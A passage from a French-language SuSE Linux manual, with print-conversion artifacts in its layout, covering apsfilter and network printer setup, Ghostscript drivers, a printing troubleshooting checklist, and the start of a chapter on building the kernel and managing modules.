/etc/apsfilterrc.bjc800 ). _______________________________________________________________________________________________________________________|| |||||||| Les versions préinstallées de ces fichiers contiennent des entrées exemples ||| | |||||||| || | |||||||| commentées pour toutes les variables prévues). Dans le fichier global || | |||||||| /etc/apsfilterrc , la signification de chaque variable fait en outre l'ob- || | |||||||| || | |||||||| jet de commentaires détaillés. Il est recommandé de les lire ;-) || | ||||||||_______________________________________________________________________________________________________________||_ Les variables dans les fichiers spécifiques aux imprimantes sont les mêmes que dans le fichier global /etc/apsfilterrc et pour plus de facilité elles sont numérotées de manière identique. Apsfilter lit pour chacun des travaux d'impression tout d'abord le fichier global et ensuite le fichier apsfilterrc spécifique à l'imprimante : en cas de doute, ce sont les configurations conte- nues dans le deuxième qui sont utilisées. Vous pouvez ainsi prévoir les confi- gurations normales contenues dans /etc/apsfilterrc (par exemple pour la résolution de l'imprimante) et remplacer cependant de telles valeurs stan- dards par d'autres valeurs spécialement adaptées. Les modifications apportées aux fichiers apsfilterrc deviennent immédiatement effectives. Nous renonçons ici à reproduire la totalité du fichier /etc/apsfilterrc et nous nous contenterons d'énumérer quelques variables fréquemment utili- sées : ~ FEATURE et USE_RECODE_NOT_A2PS règlent le filtrage des fichiers ASCII (ainsi qu'il est déjà décrit à la page 341). ~ REMOTE_PRINTER est utilisée pour le préfiltrage de travaux effectués sur des imprimantes réseau. Si elle est positionnée à true , les travaux de la file d'impression concernée seront transférés, après filtrage, dans une file d'impression spéciale remote . Si vous choisissez une autre valeur, celle-ci sera interprétée comme étant le nom de l'imprimante distante. Voir paragraphe 12.4 page suivante. ~ PRINT_RAW_SETUP_PRINTER est prévue pour une séquence d'échappe- ment qui pourrait être éventuellement nécessaire lors de l'initialisation de l'imprimante pour les travaux qui se trouvent dans la file d'im- pression raw . Son contenu est à chaque fois transmis à l'imprimante avant l'exécution d'un travail d'impression raw . Un exemple ainsi que des spécifications concernant la syntaxe sont contenus dans le fichier /etc/apsfilterrc . ~ GS_RESOL permet de prévoir, pour le filtre Ghostscript, une autre résolu- tion que celle configurée à l'origine pour l'imprimante. * * 345 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ ~ DO_ACCOUNTING doit être positionnée à yes si vous souhaitez créer un fichier de comptabilité. Vous devrez également remplacer, dans le fichier /etc/printcap, la valeur :la : par :la@ : afin que le fichier spéci- fié, pour af (angl. accounting file) soit pris en compte. Pour pouvoir tirer parti de cette fonction, vous devriez utiliser plp (remplacez le paquetage lrpold par le paquetage plpn). Configurations spécifiques à l'utilisateur : La version d'apsfilter dans SuSE Linux. supporte aussi un fichier ~/.apsfilterrc propre à l'uti- lisateur dans son répertoire personnel. Ce fichier est toujours exploité après les fichiers apsfilterrc du système et peut de ce fait écraser leur contenu. Pour des raisons de sécurité ~ la lecture a lieu avec les droits du démon d'impression en cours d'exécution ! ~ il ne sera toutefois tenu compte, parmi toutes les instructions contenues dans ~/.apsfilterrc, que de celles qui fixent une nouvelle valeur pour l'une des variables sui- vantes : TEXINPUTS , PRINT_DVI , GS_FEATURES , USE_RECODE_NOT_A2PS * * , FEATURE , A2PS_OPTS , DVIPS_MODE , GS_RESOL 7 . Toutes les autres instruc- tions seront ignorées. Si vous avez besoin d'un HOME/.apsfilterrc , copiez vers celui-ci l'un des fichiers apsfilterrc du système et éditez, en cas de besoin, la copie de ce fichier. 12.4 Imprimantes réseau avec apsfilter Une imprimante réseau avec son propre port réseau TCP/IP est considérée par le système de spool comme un hôte distant avec ses propres files d'impression (Noms : voir le manuel de l'imprimante, souvent LPT1 etc.). Elle est par conséquent accessible via une file d'impression distante, par exemple sous le nom remote , à partir de la machine locale. Si toutefois vous avez besoin d'un filtrage des travaux d'impression, les choses se compliquent quelque peu du fait que le démon d'impression lpd (paquetage lprold) n'exécute aucun préfiltrage et ignore aussi les spécifi- cations concernant les filtres contenus dans le fichier /etc/printcap. Les travaux destinés à cette file d'impression remote doivent donc déjà contenir des données spécifiques à l'imprimante. Ceci peut être obtenu en réalisant un préfiltrage au moyen de la fonction ``bypass'' de la version SuSE du programme apsfilter La configuration effectuée à l'aide de YaST demande un peu de travail ma- nuel. Vous pouvez vous faciliter les choses en donnant la préférence au programme lprsetup . Lancez lprsetup de la manière décrite au para- graphe 12.3 page 342 et pages suivantes. Il vous sera demandé le nom du périphérique (`DEVICE') ; voir page 343) : PARALLEL Parallel printer interface SERIAL Serial printer interface PREFILTER to an other queue (bypass) REMOTE printer forwarding queue _____________________________________________7 Voir la variable allowed dans /var/lib/apsfilter/apsfilter 346 _______________________________________________________12.5.__Quelques_précisions_au_sujet_de_Ghostscript___________________* *______________________ 1. Créez tout d'abord avec, `REMOTE', une file d'impression qui référence l'imprimante réseau distante : Il vous sera demandé quel est l'hôte dis- tant (angl. remote host) auquel l'imprimante est connectée (dans notre exemple : soleil) et quelle est la file d'impression distante (angl. re- mote printer) ~ en règle générale se sera lp mais en cas de doute consul- tez votre administrateur réseau ! La question de la file d'impression dis- tante est ainsi réglée mais n'oubliez pas de l'installer effectivement avec `ADD' : : : L'entrée dans le fichier /etc/printcap est semblable, à ce moment, à celle du fichier 12.4.1. _______________________________________________________________________________________________________________________|| |||||||| remote|lp1|soleil-lp|soleil lp:\ | |||||||| :lp=:\ | |||||||| | |||||||| :rm=soleil:\ | |||||||| :rp=lp:\ | |||||||| | |||||||| :sd=/var/spool/lpd/soleil-lp:\ | |||||||| :lf=/var/spool/lpd/soleil-lp/log:\ | |||||||| | |||||||| :af=/var/spool/lpd/soleil-lp/acct:\ | |||||||| :ar:bk:mx#0:\ | |||||||| :sh: | ||||||||_______________________________________________________________________________________________________________ | fichier 12.4.1: /etc/printcap : Imprimantes réseau 2. Nous voici maintenant au ``préfiltrage local''. Cette fois-ci, vous ré- pondrez à la question `DEVICE' en choisissant l'option `PREFILTER' (angl. to an other queue (bypass)) . lprsetup est assez intelligent pour proposer l'imprimante réseau qui vient d'être configurée. remote remote=soleil queue=lp Vous ferez le reste comme si vous deviez procéder à la configuration d'une imprimante locale normale. Voir page 344 et pages suivantes. Si pour terminer vous avez sélectionné `ADD', vous trouverez en plus de /etc/apsfilterrc (voir fichier 12.3.2 page 342) un fichier du nom de /etc/apsfilterrc.bjc800 ) avec l'entrée : REMOTE_PRINTER="remote" Cette entrée fait référence à l'imprimante réseau. S'il existe plusieurs im- primantes réseau, les noms de ces autres imprimantes seront alors utilisés à la place de "remote" 8 . Voir la représentation graphique d'une telle configuration dans la figure 12.1 page suivante. 12.5 Quelques précisions au sujet de Ghostscript Si vous n'êtes pas précisément l'heureux propriétaire d'une imprimante Post- Script, Ghostscript sera, pour le filtre d'impression proprement dit, le choix le plus judicieux. Ghostscript accepte l'entrée de fichiers PostScript et contient un grand nombre de pilotes pour la conversion vers un format géré par l'im- primante. 8 ____________________________________________________ Si vous effectuez votre configuration avec YaST , vous devrez faire manuellement cette entrée et veiller à bien spécifier /dev/null comme périphérique. * * 347 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | * * | || * * || | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Fig. 12.1: apsfilter local, l'imprimante réseau Ghostscript (gs (1)) ~ décrit dans la page de man de gs (man gs ) ~ est un programme très étendu avec de nombreuses options en ligne de commande. Une invocation directe de Ghostscript ouvre, après l'exécution de la ligne de commande, un dialogue avec des invites GS> que l'on quitte par la commande quit . Nous ne disposons pas ici de suffisamment de place pour traiter toutes les possibilités qui existent. apsfilter se charge heureusement à votre place de l'élaboration quelque peu compliquée de la ligne de commande. Nous attirons toutefois votre attention sur la commande d'aide vraiment utile tux@terre: > gs -h | less qui liste les options les plus indispensables et ~ ce qui est essentiel ! ~ affiche le numéro de version et la liste actuelle des périphériques supportés. Cette liste, telle qu'elle est actuellement au moment de la mise sous presse de ce livre, vous est présentée au paragraphe 12.6 page ci-contre. En cas de difficultés avec l'imprimante, il peut être utile de faire un test en invoquant directement Ghostscript avec un fichier PostScript (.ps) et en transmettant directement au périphériques les données spécifiques à l'im- primante qui ont été générées. Vous trouverez un bon nombre de fichiers PostScript adéquats, par exemple sous /usr/share/ghostscript/ /examples ou /var/ lib/apsfilter/test. 348 _______________________________________________________________________12.6.__Liste_des_imprimantes_supportées______________* *______________________ L'invocation de Ghostscript, par exemple pour le pilote d'imprimante intégré necp6 avec une résolution de 360 360 et pour la sortie sur l'imprimante de /dev/lp0, ressemble à ceci : tux@terre: > gs -q -dNOPAUSE -dSAFER -sDEVICE=necp6 \ -r360x360 -sOutputFile=fichiertest.lpr Fichiertest.ps tux@terre: > su terre: # cat fichiertest.lpr > /dev/lp0 Si vous utilisez le pilote uniprint avec un fichier de paramètres, les com- mandes (pour une imprimante Stylus) sont : tux@terre: > gs @stc.upp -q -dNOPAUSE -dSAFER \ -r360x360 -sOutputFile=fichiertest.lpr fichiertest.ps quit.ps tux@terre: > su terre: # cat fichiertest.lpr > /dev/lp0 Tuyaux : Dans /usr/share/ghostscript/ /doc, vous trou- verez une documentation très utile. devices.txt par exemple contient des indications concernant toute une série d'imprimantes récentes. Avec la page d'accueil de Ghostscript, vous pouvez vous tenir au courant de l'état actuel des choses concernant Ghostscript (versions, imprimantes supportées etc.). Vous pouvez la trouver sous l'URL http://www.cs.wisc. edu/~ghost/index.html. 12.6 Liste des imprimantes supportées Outre les PostScript, HP Deskjet et Epson Stylus, Ghostscript supporte encore un grand nombre d'autres imprimantes (référence : version 5.10). Le pilote ``uniprint '' que l'on peut adapter à l'aide d'un fichier de paramètres à l'im- primante que l'on souhaite utiliser est une nouveauté depuis la version 5. Vous pouvez également sélectionner ces fichiers de paramètres avec lprsetup et il vous est possible, en cas de besoin, de les modifier en fonction de vos critèrers personnels. Ils se situent sous /usr/share/ghostscript// et leurs noms se terminent par .upp. Il est donc recommandé de donner la préfé- rence à ces fichiers de paramètres dans la mesure où ils sont déjà disponibles pour votre modèle d'imprimante. ______________________________________________________________________________________________________________________ Canon bjc610a0.upp BJC 610, 360x360DPI, plain paper high speed, co- lor, rendered bjc610a1.upp BJC 610, 360x360DPI, plain paper, color, rendered bjc610a2.upp BJC 610, 360x360DPI, coated paper, color, rende- red bjc610a3.upp BJC 610, 360x360DPI, transparency film, color, rendered bjc610a4.upp BJC 610, 360x360DPI, back print film, color, ren- dered ______________________________________________________________________________________________________________________ Tab. 12.1: Continuer à la page suivante... * * 349 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ bjc610a5.upp BJC 610, 360x360DPI, fabric sheet, color, rendered bjc610a6.upp BJC 610, 360x360DPI, glossy paper, color, rende- red bjc610a7.upp BJC 610, 360x360DPI, high gloss film, color, ren- dered bjc610a8.upp BJC 610, 360x360DPI, high resolution paper, color, rendered bjc610b1.upp BJC 610, 720x720DPI, plain paper, color, rendered bjc610b2.upp BJC 610, 720x720DPI, coated paper, color, rende- red bjc610b3.upp BJC 610, 720x720DPI, transparency film, color, rendered bjc610b4.upp BJC 610, 720x720DPI, back print film, color, ren- dered bjc610b6.upp BJC 610, 720x720DPI, glossy paper, color, rende- red bjc610b7.upp BJC 610, 720x720DPI, high gloss paper, color, ren- dered bjc610b8.upp BJC 610, 720x720DPI, high resolution paper, color, rendered Hewlett-Packard cdj550.upp Deskjet 550c, 300x300DpI, Gamma=2 NEC necp2x.upp Prinwriter 2X, 360x360DPI, Plain Paper necp2x6.upp Prinwriter 2X, 360x360DPI, Plain Paper Epson stc.upp Stylus Color I (and PRO Series), 360x360DPI, Plain Paper stc`h.upp Stylus Color I (and PRO Series), 720x720DPI, Spe- cial Paper stc`l.upp Stylus Color I (and PRO Series), 360x360DPI, no- Weave stc1520h.upp Stylus Color 1520, 1440x720DPI, Inkjet Paper stc2.upp Stylus Color II / IIs, 360x360DPI, Plain Paper stc2`h.upp Stylus Color II, 720x720DPI, Special Paper stc2s`h.upp Stylus Color IIs, 720x720DPI, Special Paper stc500p.upp Stylus Color 500, 360x360DPI, not Weaved, Plain Paper _______________________________________________________________________________________________________* *_________ Tab. 12.1: Continuer à la page suivante... 350 _______________________________________________________________________12.6.__Liste_des_imprimantes_supportées______________* *______________________ ______________________________________________________________________________________________________________________ stc500ph.upp Stylus Color 500, 720x720DPI, not Weaved, Plain Paper stc600ih.upp Stylus Color 600, 1440x720DPI, Inkjet Paper stc600p.upp Stylus Color 600, 720x720DPI, Plain Paper stc600pl.upp Stylus Color 600, 360x360DPI, Plain Paper stc800ih.upp Stylus Color 800, 1440x720DPI, Inkjet Paper stc800p.upp Stylus Color 800, 720x720DPI, Plain Paper stc800pl.upp Stylus Color 800, 360x360DPI, Plain Paper stcany.upp Any Stylus Color, 360x360DPI ______________________________________________________________________________________________________________________ Tab. 12.1: Fichiers de paramètres du pilote uniprint (Ghostscript 5.10) Si vous n'avez pas trouvé de fichier de paramètres pour votre modèle, vous pouvez avoir recours aux ``pilotes'' du tableau 12.2 page 353 qui ont fait leurs preuves. ______________________________________________________________________________________________________________________ Apple appledmp Apple Dot Matrix Printer (aussi Imagewriter) iwhi Apple Imagewriter, haute résolution iwlo Apple Imagewriter, faible résolution iwlq Apple Imagewriter, 320x216 dpi Canon bj10e BubbleJet 10e bj200 BubbleJet 200 bjc600 BubbleJet 600c, 4000c (couleur) bjc800 BubbleJet 800c (couleur) lbp8 LBP-8II lips3 LIPS III DEC declj250 LJ 250 la50 LA50 la70 LA70 la75 LA75 la75plus LA75 Plus lj250 LJ250 ln03 LN03 ______________________________________________________________________________________________________________________ Tab. 12.2: Continuer à la page suivante... * * 351 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ Epson ap3250 AP3250 eps9high Compatible FX-80, 240 dpi eps9mid Compatible FX-80, 120 dpi epson Imprimante à 9 ou 24 aiguilles compatible FX-80 epsonc LQ-2550, Fujitsu 1200/2400/3400, impression cou- leur lp8000 LP-8000, imprimante laser lq850 LQ-850, imprimante à 24 aiguilles, 360dpi st800 Stylus 800, Epson ESC/P2 stcolor Stylus Color Hewlett- Packard cdeskjet DeskJet 500C, impression en noir cdj500 DeskJet 500C, 540C cdj550 DeskJet 550C, 560C cdj670 DeskJet 670C, 690C cdj850 DeskJet 850C, 855C, 870C, 1100C cdj890 DeskJet 890C cdj1600 DeskJet 1600C cdjcolor DeskJet 500C, impression couleur cdjmono DeskJet 500C, impression en noir deskjet DeskJet, DeskJet Plus djet500 DeskJet 500 djet500c DeskJet 500c djet820c DeskJet 820Cse et 820Cxi ; éventuellement aussi les modèles 1000 dnj650c DesignJet 650C hpdj DeskJet avec support PCL-3 (impression couleur et monochrome) Documentation Ghostscript : hpdj/gs-hpdj.txt laserjet LaserJet ljet2p LaserJet IIp ljet3 LaserJet III ljet3d LaserJet IIID ljet4 LaserJet IV ljetplus LaserJet Plus lj4dith LaserJet IV, rastérisée lj5mono LaserJet 5 & 6 (PCL XL), Bitmap lj5gray LaserJet 5 & 6, Bitmap monochrome lp2563 2563B LinePrinter paintjet PaintJet impression couleur _______________________________________________________________________________________________________* *_________ Tab. 12.2: Continuer à la page suivante... 352 _______________________________________________________________________12.6.__Liste_des_imprimantes_supportées______________* *______________________ ______________________________________________________________________________________________________________________ pj PaintJet XL, Alternative pjetxl PaintJet 300XL pjxl PaintJet 300XL pjxl300 PaintJet 300XL, DeskJet 1200C IBM ibmpro Proprinter, 9 aiguilles jetp3852 Jetprinter 3852 OKI oki182 MicroLine 182 okiibm MicroLine, compatible IBM Tektronix t4693d2 4693d, impression couleur t4693d4 4693d, impression couleur t4693d8 4693d, impression couleur tek4696 4695/4696 Autres hl7x0 Brother 720, 730, 820 imagen Imagen ImPress m8510 C.Itoh M8510 necp6 NEC P6, P6+, P60 bei 360 dpi oce9050 OCE 9050 r4081 Ricoh 4081, imprimante laser sj48 StarJet 48 cp50 Mitsubishi CP50, imprimante couleur xes Xerox XES (2700, 3700, 4045) ______________________________________________________________________________________________________________________ Tab. 12.2: Imprimantes supportées (Ghostscript 5.10) Bien entendu, toutes les imprimantes compatibles HP Laserjet 4 ainsi que d'autres imprimantes PostScript sont directement supportées. Lors de l'installation de apsfilter ou lors de la configuration avec YaST , la dénomination de l'imprimante qui se trouve dans la colonne de gauche doit être indiquée (par exemple djet500 ). Si l'imprimante que vous utilisez n'est pas supportée, cela ne signifie pas que vous ne pouvez pas utiliser apsfilter . Dans ce cas, vous devez choi- sir une imprimante si possible similaire à la vôtre : très souvent le pilote convient aussi pour un modèle précédent encore assez récent. Vous pouvez * * 353 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ en outre obtenir une aide pour le choix du pilote dans la base de données CDB (angl. Component Database) , dans la base de données du matériel de SuSE : http://cdb.suse.de/ ________________________________________________________________________________________________________* *________||||| | Il existe sur le marché de très nombreuses imprimantes qui portent la men- * * |||| | * * ||| | tion ``for Windows''. Il arrive aussi fréquemment de voir une autre déno- * * ||| | * * ||| | mination qui est ``imprimante GDI''. De telles imprimantes peuvent, en cas * * ||| | de chance, être utilisables sous Linux avec un certain nombre de restric- * * ||| | * * ||| | tions. Mais très souvent elles ne sont pas du tout utilisables. Consultez * * ||| | la CDB sous http://cdb.suse.de/ ou renseignez-vous auprès de votre * * ||| | * * ||| | revendeur ! * * ||| | * * ||| | Il existe, spécialement pour de telles imprimantes HP DeskJet, un conver- * * ||| | tisseur logiciel qui permet de réaliser des impressions en noir et blanc (pa- * * ||| | * * ||| | quetage ppa, série ap). Pour l'installation, lisez la documentation sous * * ||| | usr/doc/packages/ppa ou l'article http://sdb.suse.de/sdb/en/ * * ||| | * * ||| | html/ke_printer-gdi.html dans la SDB. Le paquetage pbm2l7k, sé- * * ||| | rie ap est prévu pour les imprimantes Lexmark (modèles 5700, 7000 et * * ||| | * * ||| | 7200). La documentation se trouve sous /usr/doc/packages/pbm2l7k. * * ||| |_______________________________________________________________________________________________________* *________|||_ Une erreur très fréquente est le choix d'une résolution incompatible. Si ce cas se produit, la résolution correcte (c'est-à-dire le nombre de points par pouce (angl. dpi=dots per inch) que maîtrise l'imprimante) peut être in- sérée dans la variable GS_RESOL dans /etc/apsfilterrc (par exemple GS_RESOL=360x360 . Quelques entrées ~ placées en commentaire ~ y sont déjà incluses). 12.7 Liste de contrôle pour l'impression : apsfilter ~ Le paquetage aps, série ap pour apsfilter est-il installé ? ~ apsfilter a-t-il été configuré avec YaST ou /var/lib/apsfilter/ SETUP (lprsetup ) ? ~ Les paquetage net_tool, paquetage netcfg, paquetage nkita, paque- tage nkitb (tous de la série a) sont-ils installés ? Le paquetage lprold de la série n est-il installé ? ~ Le noyau a-t-il un support pour TCP/IP ? Indiqué par le message "IP Protocols : ICMP, UDP, TCP" dans /var/log/boot.msg. ~ Le support pour les ports parallèles est-il actif ? ~ si le module lp est effectivement chargé. Avec le noyau 2.2.xx, les modules parport et parport_pc doivent aussi être chargés (voir pa- ragraphe 10.4.3 page 307). ~ Il se peut que vous ayez un BIOS ``Plug-and-Play'' et que votre inter- face soit configurée, dans le BIOS de la machine, sur auto . Assignez explicitement une adresse à l'interface (la valeur standard est 0x0378 ou simplement 378 ). ~ Au cas où l'imprimante ne ferait que ``clignoter'', il est possible que l'interface soit configurée sur ECP+EPP dans le BIOS, ce qui n'est 354 ____________________________________________________12.7.__Liste_de_contrôle_pour_l'impression_:_apsfilter____________________* *____________________ d'aucune utilité pour l'imprimante. Dans un tel cas, choisissez soit l'option normal , soit l'option SPP ou encore l'option ECP . ~ Si l'imprimante ne supporte pas la résolution standard 300 300 dpi : La résolution adéquate selon le manuel de l'imprimante a-t-elle été configu- rée avec YaST ou dans le fichier /etc/apsfilterrc ? ~ Que dit lpc status ? ~ Faites un essai avec lpc up all . ~ La file d'impression raw devrait du moins fonctionner pour chaque im- primante et permettre au minimum la sortie de fichiers ASCII. Une ex- ception est constituée par les ``imprimantes GDI'' (voir plus haut la page précédente). ~ Si votre imprimante fournit des impressions dans le sens horizontal (en mode landscape) et si vous ne le souhaitez pas, lisez la page 341. ~ Si vous utiliser l'option -P pour lancer lpr , vous ne devez laisser aucun espace devant le nom de l'imprimante. ~ Si vous pouvez sortir sur l'imprimante des textes ASCII via la file d'im- pression ``raw'' (-Praw ), essayez maintenant d'imprimer un fichier Post- Script régulier avec lpr . Vous pouvez soit générer un tel fichier PostScript et l'imprimer : tux@terre: > a2ps -nP -1 -p /etc/hosts > /var/tmp/hosts.ps tux@terre: > lpr /var/tmp/hosts.ps soit utiliser un fichier fourni avec Ghostscript : tux@terre: > lpr /usr/share/ghostscript/5.10/examples/tiger.ps ~ Contrôlez les fichiers log sous /var/spool/lpd/NOM_DU_PILOTE. Vous devez bien sûr remplacer NOM_DU_PILOTE par le pilote que vous avez choisi. ~ Utilisez-vous l'interface d'imprimante qui convient (voir paragraphe 12.1 page 333). ~ Le noyau ne doit contenir aucun pilote PLIP (/var/log/boot.msg) ! * * 355 12. L'impression _________________________________________________________________________________________________________________* *_______________________________________@ 356 Sixième partie Le noyau et les paramètres du noyau 3* *57 Chapitre 13 Le noyau Le noyau qui, au cours de l'installation, est peut-être écrit sur la disquette ~ et que l'on trouve aussi dans le répertoire boot du système installé ~ est confi- guré de manière à supporter une gamme très étendue de matériel. Ce noyau n'est donc pas construit spécialement pour votre système. Mais si vous avez fait le bon choix lors de l'installation ou de la mise à jour, vous avez un noyau tout spécialement optimisé pour votre processeur. C'est pourquoi il n'est pas absolument indispensable de générer votre propre noyau. Si vous désirez tou- tefois essayer certaines fonctionnalités ou pilotes ``au stade expérimental'', il peut s'avérer nécessaire de ``construire vous-même'' un noyau. Et il ne faut pas non plus négliger le fait que la configuration du noyau donne une vue extrêmement intéressante de l'état actuel du développement. Pour la création d'un nouveau noyau, il existe déjà pour le compilateur C des Makefiles qui permettent d'automatiser presque entièrement la procédure. Seules les questions posées au sujet du matériel que doit supporter le noyau doivent être traitées en mode interactif. La compilation de votre propre noyau n'est pas couverte par l'Assistance Technique à l'Installation (voir paragraphe H.1.2 page 558). Nous sommes toutefois volontiers disposés à vous aider dans le cadre de notre Service Pro facturé séparément (voir paragraphe H.3 page 561). _______________________________________________________________________________________________________________________|| |||||||| La description qui suit concerne essentiellement le noyau de la série 2.2.x. ||| | |||||||| || | |||||||| Bien que beaucoup de choses s'appliquent encore aux noyaux de la sé- || | |||||||| rie 2.0.x, il faut cependant s'attendre à trouver, dans les détails, certaines || | |||||||| || | |||||||| divergences qui bien que minimes peuvent avoir une importance décisive ! || | ||||||||_______________________________________________________________________________________________________________||_ 13.1 Les sources du noyau Pour construire un nouveau noyau, il est bien entendu nécessaire d'avoir ins- tallé aussi bien les sources du noyau (paquetage lx_suse) que le compila- teur C au minimum (paquetage gcc) ainsi que les utilitaires GNU (paquetage binutils) et les fichiers include pour le compilateur C (paquetage libc). Ces paquetages sont contenus dans la série D (Développement). En règle gé- nérale, il est fortement conseillé d'installer le compilateur C car le langage de programmation C est inséparablement lié au système d'exploitation Linux. Les sources du noyau se trouvent dans le répertoire /usr/src/linux. Au cas où vous auriez l'intention d'expérimenter certaines choses et d'avoir si- * * 359 13. Le noyau _________________________________________________________________________________________________________________* *_______________________________________@ multanément plusieurs versions du noyau sur votre disque, la solution la plus logique consiste à décompresser ces versions dans différents sous-repertoires et à accéder aux sources dont vous avez besoin en passant par un lien. Cette forme d'installation est réalisée par YaST en mode automatique. Il est en fait possible d'installer et de compiler les sources du noyau dans n'importe quel sous-répertoire. Comme il existe toutefois de nombreux logi- ciels qui s'attendent à trouver les sources du noyau sous /usr/src/linux, il serait judicieux de choisir ce répertoire afin de garantir une compilation sans défauts des programmes proches du système. 13.2 Modules du noyau Plusieurs pilotes et fonctionnalités du noyau Linux n'ont maintenant plus be- soin d'être compilés de façon permanente dans le noyau mais peuvent être chargés, en cours d'exécution, sous forme de modules du noyau (angl. kernel module). Lors de la configuration du noyau, on détermine les pilotes qui se- ront inclus en permanence et ceux qui seront chargés sous forme de modules. Les modules du noyau sont placés dans le répertoire /lib/modules/ . Ici, la variable correspond à la version actuelle du noyau (par exemple 2.2.14). Vous devriez tirer parti de cette fonctionnalité aussi souvent que possible. La règle de base est la suivante : Tous les éléments du noyau qui ne sont pas absolument indispensables pendant le processus d'amorçage devraient être compilés sous forme de modules. Il est ainsi garanti que le noyau ne sera pas trop gros et qu'il pourra être chargé sans difficulté par le BIOS et par n'importe quel chargeur. Le pilote du disque dur, le support pour ext2 et autres choses similaires doivent en général être directement compilés dans le noyau, le support pour isofs , msdos ou sound devrait en tout cas être compilé en module. Manipulation des modules Pour la manipulation des modules, vous disposez des commandes suivantes : ~ insmod La commande insmod charge le module spécifié. Il est recherché dans un sous-répertoire de /lib/modules/ . Nous vous recomman- dons d'utiliser modprobe (voir plus bas) à la place de insmod ~ rmmod décharge le module spécifié. Ceci n'est naturellement possible que si la fonctionnalité correspondante du noyau n'est plus utilisée. Il n'est donc pas possible de décharger le module isofs si un CD est encore monté. ~ depmod Cette commande crée un fichier du nom de modules.dep dans le ré- pertoire /lib/modules/ qui contient la liste des dépen- dances entre les différents modules. Il est ainsi garanti que lorsqu'un module est chargé, tous les modules dont il dépend sont également char- gés automatiquement. Si le lancement du démon kerneld est prévu dans 360 ______________________________________________________________________________________________13.2.__Modules_du_noyau_______* *______________________ /etc/rc.config, le fichier devant contenir les dépendances des mo- dules sera automatiquement généré au démarrage du système, à moins bien sûr qu'il n'existe déjà. ~ modprobe Chargement ou déchargement d'un module en tenant compte des dépen- dances d'autres modules. Cette commande est très puissante et peut être utilisée pour beaucoup d'autres choses (pour tester par exemple tous les modules d'un type particulier jusqu'à ce que l'un d'entre d'eux puisse être chargé avec succès). Contrairement à ce qui se passe lors du chargement à l'aide de insmod , modprobe lit le contenu du fichier /etc/modules. conf. Il convient donc, en règle générale, de l'utiliser pour le chargement des modules. Pour une description détaillée de toutes les possibilités, lisez les pages de man qui se rapportent à ces sujets. ~ lsmod Affiche la liste des modules actuellement chargés et vous fait savoir par combien d'autres modules ils sont utilisés. Les modules chargés par le démon kerneld sont suivis de la mention (autoclean) . Cela signifie que ces modules seront automatiquement supprimés lorsqu'ils n'auront pas été utilisés pendant un certain temps. /etc/modules.conf On peut influer sur le chargement des modules à l'aide du fichier /etc/ modules.conf ; voir page de man de depmod (man depmod ). Remarque : À partir de SuSE Linux 6.3, le nom du fichier /etc/conf. modules a été modifié pour devenir /etc/modules.conf. Il est en particulier possible d'insérer dans ce fichier les paramètres pour les modules qui accèdent directement au matériel et doivent de ce fait être adaptés à un système spécifique (par exemple lecteurs de CD-ROM ou pilotes de ré- seau). Les paramètres entrés ici sont en principe identiques à ceux transmis à l'invite d'amorçage (par exemple de LILO , voir paragraphe 14.3.2 page 370). Dans de nombreux cas cependant, les noms diffèrent de ceux utilisés à l'in- vite d'amorçage (voir à titre comparatif le paragraphe 14.3.4 page 383). Si le chargement d'un module n'a pas réussi, essayez de spécifier votre matériel dans ce fichier et utilisez, pour le chargement du module, modprobe à la place de insmod . Kmod ~ Le chargeur de modules du noyau La manière la plus élégante d'utiliser les modules du noyau consiste, depuis la version 2.2.x, à lancer le ``chargeur de modules'' Kmod qui remplace le ``vieux'' démon kerneld . Kmod tourne en arrière-plan et veille à ce que les modules nécessaires soient chargés avec modprobe dès que la fonction correspondante du noyau est requise. Pour pouvoir utiliser Kmod , vous devez activer l'option `Kernel module loader' (CONFIG_KMOD ) lors de la configuration du noyau. * * 361 13. Le noyau _________________________________________________________________________________________________________________* *_______________________________________@ Les pilotes nécessaires pour accéder au système de fichiers racine doivent être inclus en permanence dans le noyau. Vous ne devriez donc configurer ni votre pilote SCSI ni le système de fichiers de la partition racine (habituellement ext2 ) sous forme de modules ! ________________________________________________________________________________________________________* *________||| | * * ||| | Comme SuSE Linux utilise maintenant initrd (angl. initial ramdisk) qui * * ||| | lui sert par exemple à intégrer le pilote SCSI, vous devez penser, lors de * * ||| | * * ||| | la création de votre propre noyau, à modifier la variable INITRD_MODULES * * ||| | dans le fichier /etc/rc.config (paragraphe 17.6 page 453) et à mettre * * ||| | * * ||| | la ligne initrd en commentaire dans le fichier /etc/lilo.conf (voir le * * ||| | paragraphe 16.2.5 page 427). ~ Si vous omettez de le faire, le noyau se * * ||| | * * ||| | plantera lors de l'amorçage ! * * ||| |_______________________________________________________________________________________________________* *________|||_ L'utilisation de modules du noyau s'impose tout particulièrement pour les fonctionnalités dont on se sert rarement ou de façon irrégulière comme par exemple parport et le support d'impression, les pilotes pour lecteurs de disquettes ou certains systèmes de fichiers qui ne sont utilisés que de façon occasionnelle. Kmod n'a pas été conçu pour décharger automatiquement les modules. Compte tenu de la quantité de RAM dont disposent aujourd'hui les or- dinateurs, le gain de mémoire serait négligeable. Voir aussi /usr/src/ linux/Documentation/kmod.txt. Pour les machines serveurs qui ont des fonctions particulières à remplir et n'ont besoin que d'un petit nombre de pilotes, on préfère, pour des raisons de performances, utiliser un noyau ``monolithique''. 13.3 Configuration du noyau La configuration du noyau sélectionné au cours de l'installation ou de la mise à jour se trouve dans le fichier /usr/src/linux/.config (voir pa- ragraphe 2.2.9 page 38). Ce fichier ne décrit toutefois que le noyau et non pas les modules provenant du paquetage kernmod. Si vous voulez aussi recompi- ler des modules, vous devez les sélectionner explicitement. La configuration du noyau peut être réalisée de trois manières différentes : 1. depuis la ligne de commande 2. dans le menu en mode texte 3. dans le menu sous le système X Window Ces trois méthodes vont maintenant vous être présentées brièvement. Configuration depuis la ligne de commande Pour configurer le noyau, passez à /usr/src/linux et tapez la commande suivante : terre:/usr/src/linux # make config On vous posera des questions sur toute une série de 